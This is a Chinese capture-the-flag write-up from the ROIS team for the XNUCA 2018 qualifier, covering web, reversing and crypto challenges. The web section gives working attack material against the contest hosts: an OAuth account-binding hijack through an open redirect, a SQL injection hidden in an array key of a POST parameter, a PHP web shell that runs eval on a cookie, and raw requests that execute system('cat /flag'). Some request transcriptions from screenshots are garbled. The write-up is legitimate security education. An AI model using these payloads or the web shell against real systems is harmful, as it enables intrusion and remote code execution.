

XNUCA 2018 预赛 ROIS Writeup

WEB

ezdotso

生活总是充满惊喜的。永远相信，美好的事情即将发生。

——尤其是当主办方环境配置错误的情况下，从没有人会想到，`&action=cmd&cmd=cat%20/flag`是如此美妙。

Blog

you can login in the blog services by your username or auth by auth2.0, try to hack it.

<http://106.75.66.211:8000/>

提交的链接只允许 <http://106.75.66.211:8000> 开头, 并且长度有限制

已登录用户可以通过下面任意跳转

<http://106.75.66.211:8000/main/login?next=/baidu.com>

未绑定oauth的用户可以点击绑定跳转到绑定界面

但是返回链接没有对用户做确认. 只要点击绑定返回的连接 就会被绑定成

攻击链:

1. 建立一个 oauth 账号
2. 建立一个 blog 账号
3. 点击绑定新账号, 使用 burp 拦截回调链接

在自己的服务器写下如下代码

```
<?php
header('location: http://106.75.66.211:8000/main/oauth/?state=OnmJVKIROV&code=*****')
```

提交 <http://106.75.66.211:8000/main/login?next=//xxxx> 给管理员

6. 使用oauth 重新登录 blog 即成为管理员

```
</div>
<div class="content">
<div class="jumbotron">
  <h3>welcome: admin!</h3>
  <p>如果你绑定了第三方账号, 下面会显示你的邮件地址和uid, 如果没有绑定, 你可以选择绑定!</p>
  <p>email: cytest02@qq.com</p>
  <p>uid: flag {30b1651e8445120f66d93c8c5edff507}</p>
</div>
</div>
</div>
</body>
</html>
```

安全社区

hardphp

题目要求是Get Shell, 因此考虑一切能直接执行代码的方案。先从/www.zip扫描危险函数, 发现没有, 所以只能考虑include等方案。

先进入后台, 发现只有登录, 没有注册, 因此开始源码审计。从/www.zip 拿到源码后, 发现注册接口: /user/register, 因此注册用户, 进入后台。

发现上传接口:

1. 可以上传.php, 但文件名被随机化了。
2. 因为.htaccess `php_flag engine off;`的缘故, 无法执行代码。
3. 代码审计, 发现路径不可控, 无法覆盖任意文件或Session。

继续代码审计。从include的角度发现:

1. 其注册了一个autoload接口，这之内有全场唯一的一个include。
2. autoload的文件路径可控，但文件名（即类名）是否可控未知。
3. 考虑Get Shell，猜测类名可控。发现通过控制Controller的值可以部分控制类名，这完全没用，除非上传文件名可控。
4. 通过反序列化可以加载一个新类，如果反序列化值可控，则此处就可以直接include上传的文件。

```
$_action      = isset($_GET['a']) ? strtolower($_GET['a']) : 'index';
$_custom      = isset($_GET['s']) ? strtolower($_GET['s']) : 'custom';
spl_autoload_register('inner_autoload');
function inner_autoload($class){
    GLOBAL $__module,$_custom, $list;
    foreach(array('model','include','controller'.(empty($__module)?'':DS.$__module),$_custom) as $dir){
        $file = APP_DIR.DS.$dir.DS.$class.'.php';
        if(file_exists($file)){
            include $file;
            return;
        }
    }
}
```

因此，考虑反序列化。从反序列化的角度发现：

1. 所有的unserialize均被加入了allowed_classes，因此不能利用。
2. Session不存在文件里，而是从数据库直接读写。

我们的思路现在很已经非常明确了，这也可能是本题唯一的通向RCE的方法：先上传文件，取得后门文件的文件名，之后通过某种手段将恶意序列化内容写入Session，再通过include到我们刚才上传的文件即可。

某种手段是什么呢？

既然到数据库，就寻找注入点。代码审计。全局搜索SELECT、INSERT、UPDATE，发现它所有的输入点（看起来）都没过滤，只是尝试注入无果，后发现一个简易WAF：

```
escape($_REQUEST);
escape($_POST);
escape($_GET);
escape($_SERVER);

function escape(&$arg) {
    if(is_array($arg)) {
        foreach ($arg as &$value) {
            escape($value);
        }
    } else {
        $arg = str_replace(['"', '\\\\', '(', ')'], ['\"', '\\\\\\\\', '■', '■'], $arg);
    }
}
```

比较有毒的是，第一次看到把\$_SERVER也WAF的题目。事情到这里似乎陷入了僵局，毕竟找不到注入点。但是一般人会把Session存入数据库吗？这里一定有玄机。我们找

```
$username = arg('username');
$password = arg('password');
$ip = arg('REMOTE_ADDR');
$userAgent = arg('HTTP_USER_AGENT');
// ...
$session = new Session($res[0]['id'],time(),$ip,$userAgent);
$_SESSION['data'] = serialize($session);
$_SESSION['username'] = $username;
$this->jump("/main/index");
```

——注意到此处有serialize函数，它能将一个数组包括Key在内都转换成一个字符串，而上述WAF函数并没有对Key进行过滤。那这几个参数可以变成数组吗？

当然可以。注意此处的User-Agent. User-Agent是从头里拿的，我们无法让\$_SERVER['HTTP_USER_AGENT']变成数组，怎么办呢？

看看arg函数：

```
function arg($name, $default = null, $trim = false) {
    if (isset($_REQUEST[$name])) {
        $arg = $_REQUEST[$name];
    } elseif (isset($_SERVER[$name])) {
        $arg = $_SERVER[$name];
    } else {

```

```

    $arg = $default;
}
if($trim) {
    $arg = trim($arg);
}
return $arg;
}

```

因此，只要是POST就行了，没人管他是不是头啦。PHP的POST是支持a[key]=value写法的，因此POST一个HTTP_USER_AGENT['']=1。先在本地试试看。

```

POST /main/login HTTP/1.1
Host: 172.16.123.1:8001
Content-Length: 49
Cache-Control: max-age=0
Origin: http://172.16.123.1:8001
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.123.1:8001/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: PHPSESSID=49cb2d038a2ae214ae1461df36c0ebc7
Connection: close

```

username=a&password=123456&HTTP_USER_AGENT['cy|0:32:"ohf7lr1g3wr2zojy2icg5djfof8jk60u":1:{s:1:"a";s:3:"111";}';#]=1

The screenshot shows the Burp Suite interface with a request and response view. The request is a POST to /main/login with a crafted HTTP_USER_AGENT. The response is a 200 OK from the application, indicating a successful login.

Request:

```

POST /main/login HTTP/1.1
Host: 172.16.123.1:8001
Content-Length: 49
Cache-Control: max-age=0
Origin: http://172.16.123.1:8001
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.123.1:8001/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: PHPSESSID=49cb2d038a2ae214ae1461df36c0ebc7
Connection: close

username=a&password=123456&HTTP_USER_AGENT['cy|0:32:"ohf7lr1g3wr2zojy2icg5djfof8jk60u":1:{s:1:"a";s:3:"111";}';#]=1

```

Response:

```

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 431
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

<html><head><meta http-equiv='refresh'
content='0;url=/main/index'></head><body></body></html>string(322) "UPDATE
`dbsession` SET `data` =
`data[s:175^0:7^sessionip`--4:{s:11:"sessionip";s:10:"172.17.0.1";s:18:"sessionuserAg
ent";s:1:{s:1:"";s:1:"1";s:15:"sessionuserid";s:1:"2";s:18:"sessionloginTime";i:
1541067222;,"username[s:1:"a";,"lastvisit" = "1541067222" where "sessionid" =
'49cb2d038a2ae214ae1461df36c0ebc7'"

```

从划绿圈处看到，成功了。此处为UPDATE型注入，且不支持多行，不太好利用。

```
2. mysql -h172.16.123.1 -uhardphp -p (mysql)
mysql> select * from dbsession;
+-----+
| sessionid | lastvisit | data |
+-----+
| 49cb2d038a2ae214ae1461df36c0ebc7 | 1543067200 | data{s:171:"0:7:"Session":4:{s:11:" Session ip";s:10:"172.17.0.1";s:18:" Session userAgent";a:1:{i:0;s:3:"122";}s:15:" Session userId";s:1:"2";s:18:" Session loginTime";i:1543067200;};username{s:1:"a"; |
+-----+
1 row in set (0.00 sec)

mysql> select * from dbsession;
+-----+
| sessionid | lastvisit | data |
+-----+
| 49cb2d038a2ae214ae1461df36c0ebc7 | 1543067200 | data{s:175:"0:7:"Session":4:{s:11:" Session ip";s:10:"172.17.0.1";s:18:" Session userAgent";a:1:{s:3:" |
+-----+
```

——我只是想改SESSION而已，无所谓了。使用payload'， data='NEW DATA';#即可写入数据。

因此最后的做法为：

1. 通过文件上传接口，上传一个Shell到服务器上，并获知其文件名。
2. 通过/main/login，注入恶意数据。其中序列化的类名为刚才的文件名，让autoload去寻找\$class.'.php'。

```
POST /main/login HTTP/1.1
Host: d8563d2ce6fe49ed8aa0f90c54dcfff3770a440cb4dc4c5d.game.ichunqiu.com
Content-Length: 126
Cache-Control: max-age=0
Origin: http://d8563d2ce6fe49ed8aa0f90c54dcfff3770a440cb4dc4c5d.game.ichunqiu.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://d8563d2ce6fe49ed8aa0f90c54dcfff3770a440cb4dc4c5d.game.ichunqiu.com/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDI00000; PHPSESSID=qb04678jqk7hstq51n46r14km1
Connection: close
```

```
username=a&password=123456&HTTP_USER_AGENT['',data%3d'cy|0:32:"jhaix8qy0k4zzawt23ofykexiarhlz23":1:{s:1:"a";s:3:"111";}';%23]=1
```

Target: http://d8563d2ce6fe49ed8aa0f90c54dcff3770a440cb4dc4c5d.game.ichunqiu.com

Request

Raw Params Headers Hex

```
POST /main/login HTTP/1.1
Host: d8563d2ce6fe49ed8aa0f90c54dcff3770a440cb4dc4c5d.game.ichunqiu.com
Content-Length: 126
Cache-Control: max-age=0
Origin: http://d8563d2ce6fe49ed8aa0f90c54dcff3770a440cb4dc4c5d.game.ichunqiu.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://d8563d2ce6fe49ed8aa0f90c54dcff3770a440cb4dc4c5d.game.ichunqiu.com/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: chkphone=acWxNpxhQpDIAchhNusnEgyIQdTOO000; PHPSESSID=qb04678jgk7hatq5ln46r14km1
Connection: close

username=at&password=123456&HTTP_USER_AGENT['data%3d'cy[0:32:'jhaix8gy0k4zzawt29ofyke
xiarhiz29'1:[a:1:'a';a:3:'111'];%23]=1
```

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sat, 24 Nov 2018 13:55:14 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 94
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding

<html><head><meta http-equiv='refresh'
content='0;url=/main/index'></head><body></body></html>
```

Done

384 bytes | 59 millis

1. 通过构造autoload路径/main/upload?c=main&a=upload&s=img/upload，告诉autoload应当去哪儿寻找我们的恶意文件，成功Get Shell.

Target: http://d8563d2ce6fe49ed8aa0f90c54dcff3770a440cb4dc4c5d.game.ichunqiu.com

Request

Raw Params Headers Hex

```
POST /main/upload?s=eval(5_POST[a]);&c=main&a=upload&s=img/upload HTTP/1.1
Host: d8563d2ce6fe49ed8aa0f90c54dcff3770a440cb4dc4c5d.game.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: chkphone=acWxNpxhQpDIAchhNusnEgyIQdTOO000; PHPSESSID=qb04678jgk7hatq5ln46r14km3; hh=system("cat+/flag")%3b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

v=var_dump(glob("/");
```

Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sat, 24 Nov 2018 13:55:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 49
Connection: close

DONE!!flag{25727910-c877-42cd-941c-d078dafa485}
```

2. sx@zsx-macbook: ~/website/xnuca (zsh)

```
php >
sx@zsx-macbook ~/website/xnuca
$ sudo networksetup -setmanual Loopback 127.0.0.1 255.255.255.0
130
sx@zsx-macbook ~/website/xnuca
$ cat ~/shell.php
<?php
echo 'DONE!!';
eval($_COOKIE['hh']);
exit;
sx@zsx-macbook ~/website/xnuca
```

——结果这个做法竟然是非预期。

Reversing

Code interpreter

要求r4为0

```
09 04 04    xor r4, r4
09 00 00    xor r0, r0
08 01 00    mov r1, ebp[0] // num_0
08 02 01    mov r2, ebp[1] // num_1
08 03 02    mov r3, ebp[2] // num_2
06 01 04    shr r1, 4
05 01 15    mul r1, 0x15
07 00 01    mov r0, r1
```

```

04 00 03    sub r0, r3
01 6b cc 7e ld  push 0x1d7ecc6b
08 01 03    mov r1, ebp[3] // 0x1d7ecc6b
04 00 01    sub r0, r1
02          pop
0a 04 00    or r4, r0
09 00 00    xor r0, r0
08 01 00    mov r1, ebp[0]
08 02 01    mov r2, ebp[1]
08 03 02    mov r3, ebp[2]
06 03 08    shr r3, 8
05 03 03    mul r3, 0x3
07 00 03    mov r0, r3
03 00 02    add r0, r2
01 7c 79 79 60 push 0x6079797c
08 01 03    mov r1, ebp[3] // 0x6079797c
04 00 01    sub r0, r1
02          pop
0a 04 00    or r4, r0
09 00 00    xor r0, r0
08 01 00    mov r1, ebp[0]
08 02 01    mov r2, ebp[1]
08 03 02    mov r3, ebp[2]
06 01 08    shr r1, 0x8
07 00 01    mov r0, r1
03 00 02    add r0, r2
01 bd bd bc 5f push 0x5fbcdbdb
08 01 03    mov r1, ebp[3] // 0x5fbcdbdb
04 00 01    sub r0, r1
02          pop
0a 04 00    or r4, r0
00          ret

```

```

num0 = 0x??5E???
num1 = 0x?????5E
num2 = 0x?????5E

```

```

(num0>>4)*0x15 - num2 == 0x1d7ecc6b
(num2>>8)*0x03 + num1 == 0x6079797c
(num0>>8) + num1 == 0x5fbcdbdb

```

```

from z3 import *
num = [BitVec('x%s' % i),32) for i in range(3)]
s = Solver()
s.add(num[0] & 0xff == 0x5e)
s.add(num[1] & 0xff0000 == 0x5e0000)
s.add(num[2] & 0xff == 0x5e)
s.add((num[0] >> 4)*0x15 - num[2] == 0x1d7ecc6b)
s.add((num[2] >> 8)*0x03 + num[1] == 0x6079797c)
s.add((num[0] >> 8) + num[1] == 0x5fbcdbdb)
print s.check()
if s.check() == sat:
    m = s.model()
    for i in range(3):
        print hex(int("%s" % (m[num[i]])))

```

Crypto

Warm Up

A Buggy Message Distributor

http://static2.ichunqiu.com/icq/resources/fileupload/CTF/echunqiu/xnuca/Warmup_4d5031f93c0f0de54762efb7d0c49fd6.rar

共模攻击

看流量包 Alice, Dave 的N相同

```

import gmpy2
n = 25118186052801903419891574512806521370646053661385577314262283167479853375867074736882903917202574957661470179148882538361
e1 = 7669

```

```
e2 = 6947

message1 = 2291765588878191568929144274840937179863213310796817125467291156160835073834370797288181976253217501415779694021207

message2 = 2049466587911666615996101612594907009753041377039189385821554722907111602558182272979831379682320486162491290903097
# s & t
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
    s = -s
    message1 = gmpy2.invert(message1, n)
if t < 0:
    t = -t
    message2 = gmpy2.invert(message2, n)
plain = gmpy2.powmod(message1, s, n) * gmpy2.powmod(message2, t, n) % n
print hex(plain)

0x464c41477b673030645f4c75636b5f265f486176335f46756e7d
FLAG{g00d_Luck_&_Hav3_Fun}
```

点击收藏 | 0 关注 | 1
[上一篇 : 2018 XNUCA初赛题解 by...](#) [下一篇 : Rotexy : 兼备银行木马及勒索软...](#)
1. 1 条回复



[wywwzji](#) 2018-11-26 14:43:31

太强了，ROIS 牛逼
0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)